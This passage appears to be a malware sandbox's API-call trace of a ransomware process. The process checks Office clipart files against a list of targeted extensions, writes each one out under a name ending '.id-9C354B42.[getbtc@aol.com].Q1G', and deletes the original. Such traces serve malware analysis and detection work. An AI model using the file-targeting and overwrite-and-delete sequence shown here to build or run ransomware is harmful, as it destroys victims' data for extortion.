(lpString1=".doc", lpString2=".WMF") returned -1 [0256.279] lstrlenW (lpString=".docx") returned 5 [0256.279] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0256.279] lstrlenW (lpString=".pdf") returned 4 [0256.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.279] lstrlenW (lpString=".xls") returned 4 [0256.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.279] lstrlenW (lpString=".xlsx") returned 5 [0256.279] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0256.279] lstrlenW (lpString=".ppt") returned 4 [0256.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0256.279] lstrlenW (lpString=".zip") returned 4 [0256.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.279] lstrlenW (lpString=".rar") returned 4 [0256.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.279] lstrlenW (lpString=".bz2") returned 4 [0256.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.279] lstrlenW (lpString=".7z") returned 3 [0256.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0256.279] lstrlenW (lpString=".dbf") returned 4 [0256.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0256.279] lstrlenW (lpString=".1cd") returned 4 [0256.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0256.280] lstrlenW (lpString=".jpg") returned 4 [0256.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0256.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0256.280] lstrlenW (lpString=".doc") returned 4 [0256.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.280] lstrlenW (lpString=".docx") returned 5 [0256.280] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0256.280] lstrlenW (lpString=".pdf") returned 4 [0256.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.280] lstrlenW (lpString=".xls") returned 4 [0256.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.280] lstrlenW (lpString=".xlsx") returned 5 [0256.280] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0256.280] lstrlenW (lpString=".ppt") returned 4 [0256.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0256.280] lstrlenW (lpString=".zip") returned 4 [0256.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.280] lstrlenW (lpString=".rar") returned 4 [0256.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.280] lstrlenW (lpString=".bz2") returned 4 [0256.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.280] lstrlenW (lpString=".7z") returned 3 [0256.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0256.280] lstrlenW (lpString=".dbf") returned 4 [0256.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0256.280] lstrlenW (lpString=".1cd") returned 4 [0256.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0256.280] lstrlenW (lpString=".jpg") returned 4 [0256.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.281] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.281] lstrlenW (lpString="J0105294.WMF") returned 12 [0256.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0256.281] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=5504) returned 1 [0256.281] CloseHandle (hObject=0x390) returned 1 [0256.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf")) returned 0x20 [0256.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0256.282] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.282] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0256.282] GetLastError () returned 0x0 [0256.282] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1580, lpOverlapped=0x0) returned 1 [0256.295] WriteFile (in: hFile=0x1fc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1590, lpOverlapped=0x0) returned 1 [0256.296] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.296] WriteFile (in: hFile=0x1fc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.296] SetEndOfFile (hFile=0x1fc) returned 1 [0256.297] CloseHandle (hObject=0x1fc) returned 1 [0256.297] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.297] SetEndOfFile (hFile=0x390) returned 1 [0256.299] CloseHandle (hObject=0x390) returned 1 [0256.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf")) returned 1 [0256.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0256.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0256.469] lstrlenW (lpString=".doc") returned 4 [0256.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.469] lstrlenW (lpString=".docx") returned 5 [0256.469] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0256.469] lstrlenW (lpString=".pdf") returned 4 [0256.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.469] lstrlenW (lpString=".xls") returned 4 [0256.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.470] lstrlenW (lpString=".xlsx") returned 5 [0256.470] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0256.470] lstrlenW (lpString=".ppt") returned 4 [0256.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0256.470] lstrlenW (lpString=".zip") returned 4 [0256.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.470] lstrlenW (lpString=".rar") returned 4 [0256.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.470] lstrlenW (lpString=".bz2") returned 4 [0256.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.470] lstrlenW (lpString=".7z") returned 3 [0256.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0256.470] lstrlenW (lpString=".dbf") returned 4 [0256.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0256.470] lstrlenW (lpString=".1cd") returned 4 [0256.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0256.470] lstrlenW (lpString=".jpg") returned 4 [0256.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0256.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0256.470] lstrlenW (lpString=".doc") returned 4 [0256.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.470] lstrlenW (lpString=".docx") returned 5 [0256.470] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0256.470] lstrlenW (lpString=".pdf") returned 4 [0256.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.470] lstrlenW (lpString=".xls") returned 4 [0256.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.470] lstrlenW (lpString=".xlsx") returned 5 [0256.470] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0256.470] lstrlenW (lpString=".ppt") returned 4 [0256.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0256.471] lstrlenW (lpString=".zip") returned 4 [0256.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.471] lstrlenW (lpString=".rar") returned 4 [0256.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.471] lstrlenW (lpString=".bz2") returned 4 [0256.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.471] lstrlenW (lpString=".7z") returned 3 [0256.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0256.471] lstrlenW (lpString=".dbf") returned 4 [0256.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0256.471] lstrlenW (lpString=".1cd") returned 4 [0256.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0256.471] lstrlenW (lpString=".jpg") returned 4 [0256.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.471] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.471] lstrlenW (lpString="J0105306.WMF") returned 12 [0256.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0256.472] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=4320) returned 1 [0256.472] CloseHandle (hObject=0x3a8) returned 1 [0256.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf")) returned 0x20 [0256.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0256.472] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.472] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0256.473] GetLastError () returned 0x0 [0256.473] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x10e0, lpOverlapped=0x0) returned 1 [0256.488] WriteFile (in: hFile=0x3dc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x10f0, lpOverlapped=0x0) returned 1 [0256.489] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.489] WriteFile (in: hFile=0x3dc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.489] SetEndOfFile (hFile=0x3dc) returned 1 [0256.490] CloseHandle (hObject=0x3dc) returned 1 [0256.490] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.490] SetEndOfFile (hFile=0x3a8) returned 1 [0256.492] CloseHandle (hObject=0x3a8) returned 1 [0256.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0256.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0256.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0256.528] lstrlenW (lpString=".doc") returned 4 [0256.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.528] lstrlenW (lpString=".docx") returned 5 [0256.528] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0256.528] lstrlenW (lpString=".pdf") returned 4 [0256.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.528] lstrlenW (lpString=".xls") returned 4 [0256.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.528] lstrlenW (lpString=".xlsx") returned 5 [0256.528] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0256.528] lstrlenW (lpString=".ppt") returned 4 [0256.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0256.528] lstrlenW (lpString=".zip") returned 4 [0256.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.528] lstrlenW (lpString=".rar") returned 4 [0256.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.528] lstrlenW (lpString=".bz2") returned 4 [0256.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.528] lstrlenW (lpString=".7z") returned 3 [0256.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0256.528] lstrlenW (lpString=".dbf") returned 4 [0256.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0256.528] lstrlenW (lpString=".1cd") returned 4 [0256.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0256.529] lstrlenW (lpString=".jpg") returned 4 [0256.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0256.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0256.529] lstrlenW (lpString=".doc") returned 4 [0256.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.529] lstrlenW (lpString=".docx") returned 5 [0256.529] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0256.529] lstrlenW (lpString=".pdf") returned 4 [0256.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.529] lstrlenW (lpString=".xls") returned 4 [0256.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.529] lstrlenW (lpString=".xlsx") returned 5 [0256.529] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0256.529] lstrlenW (lpString=".ppt") returned 4 [0256.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0256.529] lstrlenW (lpString=".zip") returned 4 [0256.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.529] lstrlenW (lpString=".rar") returned 4 [0256.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.529] lstrlenW (lpString=".bz2") returned 4 [0256.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.529] lstrlenW (lpString=".7z") returned 3 [0256.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0256.529] lstrlenW (lpString=".dbf") returned 4 [0256.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0256.529] lstrlenW (lpString=".1cd") returned 4 [0256.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0256.529] lstrlenW (lpString=".jpg") returned 4 [0256.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.530] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.530] lstrlenW (lpString="J0105348.WMF") returned 12 [0256.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0256.530] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=17060) returned 1 [0256.530] CloseHandle (hObject=0x390) returned 1 [0256.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf")) returned 0x20 [0256.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0256.531] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.531] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0256.532] GetLastError () returned 0x0 [0256.532] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x42a4, lpOverlapped=0x0) returned 1 [0256.571] WriteFile (in: hFile=0x1fc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x42b0, lpOverlapped=0x0) returned 1 [0256.573] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.575] WriteFile (in: hFile=0x1fc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.575] SetEndOfFile (hFile=0x1fc) returned 1 [0256.576] CloseHandle (hObject=0x1fc) returned 1 [0256.576] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.576] SetEndOfFile (hFile=0x390) returned 1 [0256.579] CloseHandle (hObject=0x390) returned 1 [0256.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf")) returned 1 [0256.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0256.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0256.580] lstrlenW (lpString=".doc") returned 4 [0256.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.580] lstrlenW (lpString=".docx") returned 5 [0256.580] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0256.580] lstrlenW (lpString=".pdf") returned 4 [0256.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.580] lstrlenW (lpString=".xls") returned 4 [0256.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.580] lstrlenW (lpString=".xlsx") returned 5 [0256.580] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0256.580] lstrlenW (lpString=".ppt") returned 4 [0256.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0256.580] lstrlenW (lpString=".zip") returned 4 